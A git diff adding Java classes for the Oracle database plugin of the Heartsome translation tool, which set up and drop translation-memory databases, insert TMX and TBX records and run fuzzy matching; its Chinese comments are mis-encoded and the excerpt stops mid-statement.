b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/OperateDBImpl.java new file mode 100644 index 0000000..1240f51 --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/OperateDBImpl.java @@ -0,0 +1,220 @@ +package net.heartsome.cat.database.oracle; + +import java.net.URL; +import java.sql.Connection; +import java.sql.DriverManager; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.List; +import java.util.Properties; + +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBConfig; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.Utils; +import net.heartsome.cat.database.oracle.resource.Messages; + +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class OperateDBImpl extends SystemDBOperator { + + private Logger logger = LoggerFactory.getLogger(this.getClass()); + + public OperateDBImpl() { + metaData = new MetaDataImpl(); + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + URL fileUrl = buddle.getEntry(Constants.DBCONFIG_PATH); + dbConfig = new DBConfig(fileUrl); + metaData.setServerName(dbConfig.getDefaultServer()); + metaData.setPort(dbConfig.getDefaultPort()); + metaData.setDbType(dbConfig.getDefaultType()); + } + + /** + * 检查系统库是å¦å·²ç»åˆ›å»º + * @return true 已创建, false 没有创建 + */ + @Override + public boolean checkSysDb() { + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + data.setDatabaseName(Constants.HSSYSDB); + } catch (CloneNotSupportedException e) { + logger.warn("", e); + return false; + } + Connection conn = null; + Statement stmt = null; + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(), data); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), data); + try { + conn = getConnection(driver, url, prop); + stmt = conn.createStatement(); + stmt.execute("SELECT DBNAME, QUALITY, USERS FROM HSCATSYSDB"); + } catch (ClassNotFoundException e) { + logger.warn(Messages.getString("oracle.OperateDBImpl.logger1"), e); + return false; + } catch (SQLException e) { + return false; + } finally { + freeConnection(stmt, conn); + } + return true; + } + + @Override + public int createDB() throws SQLException { + dbConfig.setMetaData(metaData); + List createTables = dbConfig.getCreateTables(); + createTables.addAll(dbConfig.getCreateIndexs()); + return benchOperate(createTables); + } + + /** + * 创建系统库 + * @return + * @throws SQLException + */ + public int createSysDb() throws SQLException { + List createTables = dbConfig.getCreateSysTables(); + return benchOperate(createTables); + } + + private int benchOperate(List createTables) { + Connection conn = null; + Statement stmt = null; + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(),metaData); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + try { + conn = getConnection(driver, url, prop); + conn.setAutoCommit(false); + stmt = conn.createStatement(); + if (createTables != null) { + for (String i : createTables) { + stmt.execute(i); + } + } + conn.commit(); + } catch (ClassNotFoundException e) { + return Constants.FAILURE; + } catch (SQLException e) { + try { + if (conn != null && !conn.isClosed()) { + conn.rollback(); + } + } catch (SQLException e1) { + logger.warn("", e1); + } + e.printStackTrace(); + } finally { + freeConnection(stmt, conn); + } + return Constants.SUCCESS; + } + + @Override + public void dropDb(String dbName) throws SQLException { + ArrayList dropSql = new ArrayList(); + dropSql.add(dbConfig.getOperateDbSQL("drop-1").replace("__DATABASE_NAME__", dbName)); + dropSql.add(dbConfig.getOperateDbSQL("drop-2").replace("__DATABASE_NAME__", dbName)); + dropSql.add(dbConfig.getOperateDbSQL("drop-3").replace("__DATABASE_NAME__", dbName)); + dropSql.add(dbConfig.getOperateDbSQL("drop-4").replace("__DATABASE_NAME__", dbName)); + dropSql.add(dbConfig.getOperateDbSQL("drop-5").replace("__DATABASE_NAME__", dbName)); + dropSql.add(dbConfig.getOperateDbSQL("drop-6").replace("__DATABASE_NAME__", dbName)); + dropSql.add(dbConfig.getOperateDbSQL("drop-7").replace("__DATABASE_NAME__", dbName)); + dropSql.add(dbConfig.getOperateDbSQL("drop-8").replace("__DATABASE_NAME__", dbName)); + dropSql.add(dbConfig.getOperateDbSQL("drop-9").replace("__DATABASE_NAME__", dbName)); + dropSql.add(dbConfig.getOperateDbSQL("drop-10").replace("__DATABASE_NAME__", dbName)); + dropSql.add(dbConfig.getOperateDbSQL("drop-11").replace("__DATABASE_NAME__", dbName)); + dropSql.add(dbConfig.getOperateDbSQL("drop-12").replace("__DATABASE_NAME__", dbName)); + dropSql.add(dbConfig.getOperateDbSQL("drop-13").replace("__DATABASE_NAME__", dbName)); + dropSql.add(dbConfig.getOperateDbSQL("drop-14").replace("__DATABASE_NAME__", dbName)); + dropSql.addAll(dropMatrixDb(dbName)); //获å–删除matrix_lang表的SQL + benchOperate(dropSql); + } + + /** + * 删除matrix_lang表 + * ; + */ + private List dropMatrixDb(String dbName){ + List dropSql = new ArrayList(); + String sql = dbConfig.getOperateDbSQL("drop-matrix").replace("__DATABASE_NAME__", dbName); + String getLangSql = dbConfig.getOperateDbSQL("get-langs").replace("__DATABASE_NAME__", dbName); + Connection conn = null; + Statement stmt = null; + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(),metaData); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + try { + conn = getConnection(driver, url, prop); + stmt = conn.createStatement(); + ResultSet rs = stmt.executeQuery(getLangSql); + while(rs.next()){ + dropSql.add(sql.replace("__LANG__", Utils.langToCode(rs.getString(1)).toUpperCase())); + } + }catch (Exception e) { + e.printStackTrace(); + } finally{ + freeConnection(stmt, conn); + } + return dropSql; + } + + @Override + protected Connection getConnection(String driver, String url, Properties prop) throws ClassNotFoundException, + SQLException { + Class.forName(driver); + return DriverManager.getConnection(url, prop); + } + + @Override + public boolean checkDbExistOnServer() { + Connection conn = null; + PreparedStatement stmt = null; + ResultSet rs = null; + try { + MetaData data = (MetaData) metaData.clone(); + data.setDatabaseName(Constants.HSSYSDB); + String url = Utils.replaceParams(dbConfig.getDbURL(), data); + String driver = dbConfig.getDriver(); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), data); + conn = getConnection(driver, url, prop); + String getDbList = "SELECT DBNAME, QUALITY, USERS FROM HSCATSYSDB WHERE DBNAME=?"; + stmt = conn.prepareStatement(getDbList); + stmt.setString(1,metaData.getDatabaseName()); + rs = stmt.executeQuery(); + if(rs.next()){ + return true; + }else { + return false; + } + } catch (CloneNotSupportedException e) { + logger.error("", e); + } catch (ClassNotFoundException e) { + logger.error("", e); + } catch (SQLException e) { + logger.error("", e); + } finally { + if (rs != null) { + try { + rs.close(); + } catch (SQLException e) { + logger.warn("", e); + } + } + freeConnection(stmt, conn); + } + return true; + } +} diff --git a/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/TMDatabaseImpl.java b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/TMDatabaseImpl.java new file mode 100644 index 0000000..e3b0e3d --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/TMDatabaseImpl.java @@ -0,0 +1,1767 @@ +package net.heartsome.cat.database.oracle; + +import java.net.URL; +import java.sql.CallableStatement; +import java.sql.DriverManager; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.sql.Timestamp; +import java.sql.Types; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Properties; +import java.util.Vector; + +import net.heartsome.cat.common.bean.FuzzySearchResult; +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.common.bean.TmxContexts; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.bean.TranslationUnitAnalysisResult; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBConfig; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.TranslationMemoryTools; +import net.heartsome.cat.database.Utils; +import net.heartsome.cat.database.bean.ExportFilterBean; +import net.heartsome.cat.database.bean.ExportFilterComponentBean; +import net.heartsome.cat.database.bean.FuzzySearchResults; +import net.heartsome.cat.database.bean.TranslationUnitAnalysisResults; +import oracle.jdbc.OracleCallableStatement; +import oracle.jdbc.OraclePreparedStatement; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; + +/** + * @author terry + * @version + * @since JDK1.6 + */ +public class TMDatabaseImpl extends DBOperator { + + /** + * 构造函数 + */ + public TMDatabaseImpl() { + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + URL fileUrl = buddle.getEntry(Constants.DBCONFIG_PATH); + dbConfig = new DBConfig(fileUrl); + } + + @Override + public void setMetaData(MetaData metaData) { + super.setMetaData(metaData); + dbConfig.setMetaData(metaData); + } + + // TODO =========================TMX部分(开始)========================= + /** + * å°†TMXçš„header接点的主è¦å±žæ€§å†™å…¥åˆ°mheader表中 + * @throws SQLException + */ + public String insertHeader(Hashtable params) throws SQLException { + CallableStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-mheader"); + stmt = conn.prepareCall(sql); + int i = 1; + stmt.setString(i++, params.get("CREATIONTOOL")); + stmt.setString(i++, params.get("CTVERSION")); + stmt.setString(i++, params.get("TMF")); + stmt.setString(i++, params.get("SRCLANG")); + stmt.setString(i++, params.get("ADMINLANG")); + stmt.setString(i++, params.get("DATATYPE")); + stmt.setString(i++, params.get("SEGTYPE")); + stmt.setString(i++, params.get("CREATIONID")); + stmt.setString(i++, params.get("CREATIONDATE")); + stmt.setString(i++, params.get("CHANGEID")); + stmt.setString(i++, params.get("CHANGEDATE")); + stmt.setString(i++, params.get("ENCODING")); + stmt.registerOutParameter(i++, Types.INTEGER); + stmt.execute(); + return stmt.getString(i - 1); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + /** + * 将数æ®æ’å…¥HEADERNODE表 + * @param params + * ; + * @throws SQLException + */ + public void insertHeaderNode(Hashtable params) throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-mheadernode"); + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setInt(i++, Integer.parseInt(params.get("HEADERID"))); + stmt.setString(i++, params.get("NODENAME")); + stmt.setString(i++, params.get("NODETYPE")); + stmt.setString(i++, params.get("CONTENT")); + stmt.executeUpdate(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + + } + + /** + * 将数æ®å†™å…¥åˆ°MTU表中 + * @param params + * @return + * @throws SQLException + * ; + */ + public String insertTU(Hashtable params) throws SQLException { + CallableStatement stmt = null; + ResultSet rs = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-tu"); + stmt = conn.prepareCall(sql); + int i = 1; + stmt.setInt(i++, Integer.parseInt(params.get("HEADERID"))); + stmt.setString(i++, params.get("TUID")); + stmt.setString(i++, params.get("CREATIONID")); + stmt.setTimestamp(i++, DateUtils.getTimestampFromUTC(params.get("CREATIONDATE"))); + stmt.setString(i++, params.get("CHANGEID")); + stmt.setTimestamp(i++, DateUtils.getTimestampFromUTC(params.get("CHANGEDATE"))); + stmt.setString(i++, params.get("CREATIONTOOL")); + stmt.setString(i++, params.get("CREATIONTOOLVERSION")); + stmt.setString(i++, params.get("CLIENT")); + stmt.setString(i++, params.get("PROJECTREF")); + stmt.setString(i++, params.get("JOBREF")); + stmt.registerOutParameter(i++, Types.INTEGER); + stmt.execute(); + return stmt.getString(i - 1); + } finally { + if (rs != null) { + rs.close(); + } + if (stmt != null) { + stmt.close(); + } + } + } + + @Override + /** + * 将数æ®å†™å…¥åˆ°MTU表中 + * @param params + * @return + * @throws SQLException + * ; + */ + public int insertTU(int headerId, String tuId, String creationId, String creationDate, String changeId, + String changeDate, String creationTool, String creationToolVersion, String client, String projectRef, + String jobRef) throws SQLException { + CallableStatement stmt = null; + ResultSet rs = null; + int rsInt = -1; + try { + String sql = dbConfig.getOperateDbSQL("insert-tu"); + if (null == conn) { + return -1; + } + int i = 1; + stmt = conn.prepareCall(sql); + stmt.setInt(i++, headerId); + stmt.setString(i++, tuId); + stmt.setString(i++, creationId); + stmt.setTimestamp(i++, DateUtils.getTimestampFromUTC(creationDate)); + stmt.setString(i++, changeId); + stmt.setTimestamp(i++, DateUtils.getTimestampFromUTC(changeDate)); + stmt.setString(i++, creationTool); + stmt.setString(i++, creationToolVersion); + stmt.setString(i++, client); + stmt.setString(i++, projectRef); + stmt.setString(i++, jobRef); + stmt.registerOutParameter(i++, Types.INTEGER); + stmt.execute(); + rsInt = stmt.getInt(i - 1); + } finally { + if (rs != null) { + rs.close(); + } + if (stmt != null) { + stmt.close(); + } + } + return rsInt; + } + + /** + * æ’入数æ®åˆ°TEXTDATA表,更新LANGS表和MATRIX_LANG表 + * @param params + * @return æ’å…¥TEXTDATA表记录的ID + * @throws SQLException + */ + public String insertTextData(String type, String groupId, String hash, String pureText, String content, + String lang, String preContext, String nextContext) throws SQLException { + /* + * 步骤 1.添加记录到TEXTDATA表 2.查看LANGS表是å¦æœ‰åˆšæ‰æ·»åŠ çš„语言,没有则需è¦å¢žåŠ ä¸€æ¡è®°å½•ï¼Œç„¶åŽéœ€è¦åˆ›å»ºç›¸å¯¹åº”çš„matrix表 3.添加记录到Matrix表 + */ + String textDataId = null; + PreparedStatement stmt = null; + try { + String langCode = Utils.langToCode(lang).toUpperCase(); + String sql = dbConfig.getOperateDbSQL("get-lang-bycode"); + if (!langCaches.contains(lang)) { + + Map> langRs = query(sql, new Object[] { lang }); + if (langRs.size() == 0) { // 说明对应的Matrix表还没有创建 + sql = dbConfig.getOperateDbSQL("insert-lang"); + stmt = conn.prepareStatement(sql); + stmt.setString(1, lang); + stmt.executeUpdate(); + stmt.close(); + + // 创建表 + List createMatrixTables = dbConfig.getCreateMatrixTables(); + for (String i : createMatrixTables) { + i = i.replaceAll("__LANG__", langCode); + stmt = conn.prepareStatement(i); + stmt.execute(); + stmt.close(); + } + + // 创建索引 + List createMatrixIndex = dbConfig.getCreateMatrixIndexes(); + for (String i : createMatrixIndex) { + i = i.replaceAll("__LANG__", langCode); + stmt = conn.prepareStatement(i); + stmt.execute(); + stmt.close(); + } + langCaches.add(lang); + } + } + if (pureText != null && lang != null && content != null) { + sql = dbConfig.getOperateDbSQL("insert-textdata"); + OracleCallableStatement callStmt = (OracleCallableStatement) conn.prepareCall(sql); + int i = 1; + callStmt.setString(i++, type); + callStmt.setInt(i++, Integer.parseInt(groupId)); + callStmt.setInt(i++, Integer.parseInt(hash)); + callStmt.setStringForClob(i++, pureText); + callStmt.setStringForClob(i++, content); + callStmt.setString(i++, lang); + callStmt.setString(i++, preContext); + callStmt.setString(i++, nextContext); + callStmt.registerOutParameter(i++, Types.INTEGER); + callStmt.execute(); + textDataId = callStmt.getString(i - 1); + callStmt.close(); + + int[] ngrams = generateNgrams(lang, pureText); + if (ngrams.length > 0) { + String insertMatrix = dbConfig.getMatrixSQL("insert"); + insertMatrix = insertMatrix.replaceAll("__LANG__", langCode); + stmt = conn.prepareStatement(insertMatrix); + for (int j = 0; j < ngrams.length; j++) { + stmt.setInt(1, Integer.parseInt(textDataId)); + stmt.setInt(2, ngrams[j]); + stmt.setShort(3, (short) ngrams.length); + stmt.addBatch(); + } + stmt.executeBatch(); + stmt.close(); + } + } + } finally { + if (stmt != null) { + stmt.close(); + } + } + + return textDataId; + } + + + public String insertTextData(String type, int groupId, String hash, String pureText, String content, String lang, + String preContext, String nextContext) throws SQLException { + return insertTextData(type,String.valueOf(groupId),hash,pureText,content,lang,preContext,nextContext); + } + /** + * 将数æ®æ’å…¥TMXPROPS表 + * @param params + * ; + * @throws SQLException + */ + public void insertTMXProp(Map params) throws SQLException { + OraclePreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-tmxprops"); + stmt = (OraclePreparedStatement) conn.prepareStatement(sql); + int i = 1; + stmt.setString(i++, params.get("PARENTNAME")); + stmt.setInt(i++, Integer.parseInt(params.get("PARENTID"))); + stmt.setString(i++, params.get("TYPE")); + stmt.setString(i++, params.get("LANG")); + stmt.setString(i++, params.get("ENCODING")); + stmt.setStringForClob(i++, params.get("CONTENT")); + stmt.executeUpdate(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + public void insertTMXProp(int parentPk, String parentName, String type, String lang, String encoding, String content) + throws SQLException { + Map params = new HashMap(); + params.put("PARENTNAME", parentName); + params.put("PARENTID", String.valueOf(parentPk)); + params.put("TYPE", type); + params.put("LANG", lang); + params.put("ENCODING", encoding); + params.put("CONTENT", content); + insertTMXProp(params); + } + /** + * 将数æ®æ’å…¥TMXNOTES表 + * @param params + * ; + * @throws SQLException + */ + public void insertTMXNote(Hashtable params) throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-tmxnotes"); + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setString(i++, params.get("PARENTNAME")); + stmt.setInt(i++, Integer.parseInt(params.get("PARENTID"))); + stmt.setString(i++, params.get("CONTENT")); + stmt.setString(i++, params.get("CREATIONID")); + stmt.setString(i++, params.get("CREATIONDATE")); + stmt.setString(i++, params.get("CHANGEID")); + stmt.setString(i++, params.get("CHANGEDATE")); + stmt.setString(i++, params.get("ENCODING")); + stmt.setString(i++, params.get("LANG")); + stmt.executeUpdate(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + public void insertTMXNote(int parentPk, String parentName, String content, String creationId, String creationDate, + String changeId, String changeDate, String encoding, String lang) throws SQLException { + Hashtable params = new Hashtable(); + params.put("PARENTNAME", parentName); + params.put("PARENTID", String.valueOf(parentPk)); + params.put("LANG", lang); + params.put("ENCODING", encoding); + params.put("CONTENT", content); + params.put("CREATIONID", creationId); + params.put("CHANGEDATE", changeDate); + params.put("CHANGEID", changeId); + params.put("CREATIONDATE", creationDate); + insertTMXNote(params); + } + /** + * 将数æ®å†™å…¥åˆ°Extra表中 + * @param type + * @param eleName + * @param eleContent + * @param pName + * @param pId + * @throws SQLException + * ; + */ + public void insertTMXExtra(String type, String eleName, String eleContent, String pName, String pId) + throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-tmxextra"); + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setString(i++, pName); + stmt.setInt(i++, Integer.parseInt(pId)); + stmt.setString(i++, type); + stmt.setString(i++, eleName); + stmt.setString(i++, eleContent); + stmt.executeUpdate(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + // TODO =========================TMX部分(结æŸ)========================= + + // TODO ================tbx(开始)================== + /** + * 写MartifHeader节点内容 + * @param hContent + * 整个节点的内容 + * @param hIdAttr + * MartifHeader节点的ID属性; + * @return + * @throws SQLException + */ + public int insertBMartifHeader(String hContent, String hIdAttr) throws SQLException { + CallableStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-bmartifheader"); + stmt = conn.prepareCall(sql); + stmt.setString(1, hIdAttr); + stmt.setString(2, hContent); + stmt.registerOutParameter(3, Types.INTEGER); + stmt.execute(); + return stmt.getInt(3); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + /** + * 写BAttribute的内容 + * @param attrs + * @param parentName + * @param parentId + * @throws SQLException + * ; + */ + public void insertBAttribute(Map attrs, String parentName, int parentId) throws SQLException { + if (attrs != null) { + PreparedStatement stmt = null; + String sql = dbConfig.getOperateDbSQL("insert-battribute"); + Iterator> iter = attrs.entrySet().iterator(); + try { + while (iter.hasNext()) { + Entry entry = iter.next(); + String attrName = entry.getKey(); + String attrValue = entry.getValue(); + stmt = conn.prepareStatement(sql); + stmt.setInt(1, parentId); + stmt.setString(2, attrName); + stmt.setString(3, attrValue); + stmt.setString(4, parentName); + stmt.addBatch(); + } + stmt.executeBatch(); + stmt.clearBatch(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + } + + /** + * 写BRefObjectList内容 + * @param roblContent + * @param roblIdAttr + * @param headerId + * @return + * @throws SQLException + * ; + */ + public int insertBRefobjectlist(String roblContent, String roblIdAttr, int headerId) throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-brefobjectlist"); + stmt = conn.prepareStatement(sql); + stmt.setInt(1, headerId); + stmt.setString(2, roblIdAttr); + stmt.setString(3, roblContent); + stmt.execute(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + return 0; + } + + /** + * 写TermEntry内容 + * @param teContent + * @param teIdAttr + * @param headerId + * @return + * @throws SQLException + * ; + */ + public int insertBTermentry(String teContent, String teIdAttr, int headerId) throws SQLException { + CallableStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-btermentry"); + stmt = conn.prepareCall(sql); + stmt.setInt(1, headerId); + stmt.setString(2, teIdAttr); + stmt.setString(3, teContent); + stmt.registerOutParameter(4, Types.INTEGER); + stmt.execute(); + return stmt.getInt(4); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + @Override + public void start() throws SQLException, ClassNotFoundException { + String driver = dbConfig.getDriver(); + Class.forName(driver); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + conn = DriverManager.getConnection(url, prop); + conn.setAutoCommit(false); + } + + /** + * 实现匹é…算法,查询matrix_lang表 + * @param srcLang + * @param similarity + * @param ngrams + * @return + * @throws SQLException + * ; + */ + private List getCandidatesTextDataPks4Oracle(String srcLang, int similarity, int[] ngrams) + throws SQLException { + List result = new ArrayList(); + if (!this.langCaches.contains(srcLang)) { + if (!hasLangInDB(srcLang)) { + return result; + } + langCaches.add(srcLang); + } + int size = ngrams.length; + int min = size * similarity / 100; + int max = size * 100 / similarity; + + String set = "" + ngrams[0]; //$NON-NLS-1$ + for (int i = 1; i < size; i++) { + set = set + "," + ngrams[i]; //$NON-NLS-1$ + } + String select = dbConfig.getMatrixSQL("search"); + select = select.replaceAll("__SET__", set); //$NON-NLS-1$ + select = select.replaceAll("__LANG__", srcLang.replace("-", "").toUpperCase()); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + PreparedStatement stmt = null; + ResultSet rs = null; + try { + stmt = conn.prepareStatement(select); + stmt.setInt(1, min); + stmt.setInt(2, max); + stmt.setInt(3, min); + stmt.setInt(4, max); + rs = stmt.executeQuery(); + while (rs.next()) { + result.add(rs.getString(1)); + } + } finally { + if (stmt != null) { + stmt.close(); + } + if (rs != null) { + rs.close(); + } + } + return result; + } + + @Override + public Vector> findMatch_1(String puretext, String fullText, String srcLang, + String tgtLang, int minSimilarity, boolean caseSensitive, int matchUpperLimit, int contextSize, + String preHash, String nextHash, boolean isIngoreTarget) throws SQLException { + Vector> result = new Vector>(); + + int[] ngrams = generateNgrams(srcLang, puretext); + int size = ngrams.length; + if (size == 0) { + return result; + } + // long l1 = System.currentTimeMillis(); + List tpkids = getCandidatesTextDataPks4Oracle(srcLang, minSimilarity, ngrams); + // System.out.println("查MATEX_LANG表:" + (System.currentTimeMillis() - l1)); + // long l = System.currentTimeMillis(); + + // 过虑拆分æ¡ä»¶,解决Oracle中where xx in (å‚æ•°) å‚æ•°ä¸è¶Šè¿‡1000个 + StringBuffer bf = new StringBuffer(); + List tmpTpkids = new ArrayList(); + for (int i = 0; i < tpkids.size(); i++) { + String tpkid = tpkids.get(i); + bf.append(","); + bf.append(tpkid); + if ((i + 1) % 100 == 0) { + tmpTpkids.add(bf.toString().substring(1)); + bf = new StringBuffer(); + } + } + if (bf.toString().equals("")) { + return result; + } + tmpTpkids.add(bf.toString().substring(1)); + bf = new StringBuffer(); + bf.append("TPKID IN (" + tmpTpkids.get(0) + ")"); + for (int i = 1; i < tmpTpkids.size(); i++) { + bf.append(" OR TPKID IN (" + tmpTpkids.get(i) + ")"); + } + String textDataSql = dbConfig.getOperateDbSQL("getTMMatch1"); + textDataSql = textDataSql.replace("__WHERE__", bf.toString()); + PreparedStatement stmt = conn.prepareStatement(textDataSql); + stmt.setString(1, srcLang); + stmt.setString(2, tgtLang); + ResultSet rs = stmt.executeQuery(); + Map> tuSrc = new HashMap>(); + Map> tuTgt = new HashMap>(); + while (rs.next()) { + Integer groupId = rs.getInt("GROUPID"); + String lang = rs.getString("LANG"); + String pureText = rs.getString("PURE"); + String content = rs.getString("CONTENT"); + + String creationId = rs.getString("CREATIONID"); + creationId = creationId == null ? "" : creationId; + + String creationDate = ""; + Timestamp tempCdate = rs.getTimestamp("CREATIONDATE"); + if (tempCdate != null) { + creationDate = DateUtils.formatToUTC(tempCdate.getTime()); + } + + String changeDate = ""; + Timestamp tempChangeDate = rs.getTimestamp("CHANGEDATE"); + if (tempChangeDate != null) { + changeDate = DateUtils.formatToUTC(tempChangeDate.getTime()); + } + + String changeid = rs.getString("CHANGEID"); + changeid = changeid == null ? "" : changeid; + + String projectRef = rs.getString("PROJECTREF"); + projectRef = projectRef == null ? "" : projectRef; + + String jobRef = rs.getString("JOBREF"); + jobRef = jobRef == null ? "" : jobRef; + + String client = rs.getString("CLIENT"); + client = client == null ? "" : client; + + if (lang.equalsIgnoreCase(srcLang)) { + int distance; + if (caseSensitive) { + if (isIngoreTarget) { + distance = similarity(puretext, pureText); + } else { + distance = similarity(fullText, content); + } + } else { + if (isIngoreTarget) { + distance = similarity(puretext.toLowerCase(), pureText.toLowerCase()); + } else { + distance = similarity(fullText.toLowerCase(), content.toLowerCase()); + } + } + + if (distance == 100 && CommonFunction.checkEdition("U")) { + String preContext = rs.getString("PRECONTEXT"); + preContext = preContext == null ? "" : preContext; + String nextContext = rs.getString("NEXTCONTEXT"); + nextContext = nextContext == null ? "" : nextContext; + if (preContext != null && nextContext != null) { + String[] preContexts = preContext.split(","); + String[] nextContexts = nextContext.split(","); + if (preContexts.length > contextSize) { + preContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + preContext += "," + preContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(preContext)) { //$NON-NLS-1$ + preContext = preContext.substring(1); + } + } + + if (nextContexts.length > contextSize) { + nextContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + nextContext += "," + nextContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(nextContext)) { //$NON-NLS-1$ + nextContext = nextContext.substring(1); + } + } + + if (preHash.equals(preContext) && nextHash.equals(nextContext)) { + distance = 101; + } + } + } + + if (distance >= minSimilarity) { + Map srcMap = new HashMap(); + srcMap.put("srcLang", lang); + srcMap.put("srcText", pureText); + srcMap.put("srcContent", content); + srcMap.put("srcCreationId", creationId); + srcMap.put("srcCreationDate", creationDate); + srcMap.put("srcChangeId", changeid); + srcMap.put("srcChangeDate", changeDate); + srcMap.put("srcProjectRef", projectRef); + srcMap.put("srcJobRef", jobRef); + srcMap.put("srcClient", client); + srcMap.put("similarity", distance + ""); + tuSrc.put(groupId, srcMap); + } + } + if (lang.equalsIgnoreCase(tgtLang)) { + Map tgtMap = new HashMap(); + tgtMap.put("tgtLang", lang); + tgtMap.put("tgtText", pureText); + tgtMap.put("tgtContent", content); + tgtMap.put("tgtCreationId", creationId); + tgtMap.put("tgtCreationDate", creationDate); + tgtMap.put("tgtChangeId", changeid); + tgtMap.put("tgtChangeDate", changeDate); + tgtMap.put("tgtProjectRef", projectRef); + tgtMap.put("tgtJobRef", jobRef); + tgtMap.put("tgtClient", client); + tuTgt.put(groupId, tgtMap); + } + } + stmt.close(); + String dbName = getMetaData().getDatabaseName(); + if (tuSrc.size() > 0) { + Iterator>> itr = tuSrc.entrySet().iterator(); + while (itr.hasNext()) { + Entry> entry = itr.next(); + Integer key = entry.getKey(); + Map srcMap = entry.getValue(); + Map tgtMap = tuTgt.get(key); + if (tgtMap == null) { + continue; + } + Hashtable tu = new Hashtable(); + tu.putAll(srcMap); + tu.putAll(tgtMap); + tu.put("dbName", dbName); // 应用于origin属性 + result.add(tu); + } + } + + int resultSize = result.size(); + if (resultSize > 1) { + Collections.sort(result, new FindMatchComparator()); + } + + while (resultSize > matchUpperLimit) { + resultSize--; + result.remove(resultSize); + } + // System.out.println(bf.toString()); + return result; + } + + @Override + public void fuzzySearch(String pureText, String fullText, String srcLang, String tgtLang, int minSimilarity, + boolean caseSensitive, int matchUpperLimit, int contextSize, String preHash, String nextHash, + boolean isIngoreTarget, FuzzySearchResults searchResults, int tagPelanty) throws SQLException { + int[] ngrams = generateNgrams(srcLang, pureText); + int size = ngrams.length; + if (size == 0) { + return; + } + List tpkids = getCandidatesTextDataPks4Oracle(srcLang, minSimilarity, ngrams); + + // 过虑拆分æ¡ä»¶,解决Oracle中where xx in (å‚æ•°) å‚æ•°ä¸è¶Šè¿‡1000个 + StringBuffer bf = new StringBuffer(); + List tmpTpkids = new ArrayList(); + for (int i = 0; i < tpkids.size(); i++) { + String tpkid = tpkids.get(i); + bf.append(","); + bf.append(tpkid); + if ((i + 1) % 100 == 0) { + tmpTpkids.add(bf.toString().substring(1)); + bf = new StringBuffer(); + } + } + if (bf.toString().equals("")) { + return; + } + tmpTpkids.add(bf.toString().substring(1)); + bf = new StringBuffer(); + bf.append("TPKID IN (" + tmpTpkids.get(0) + ")"); + for (int i = 1; i < tmpTpkids.size(); i++) { + bf.append(" OR TPKID IN (" + tmpTpkids.get(i) + ")"); + } + + String tag = 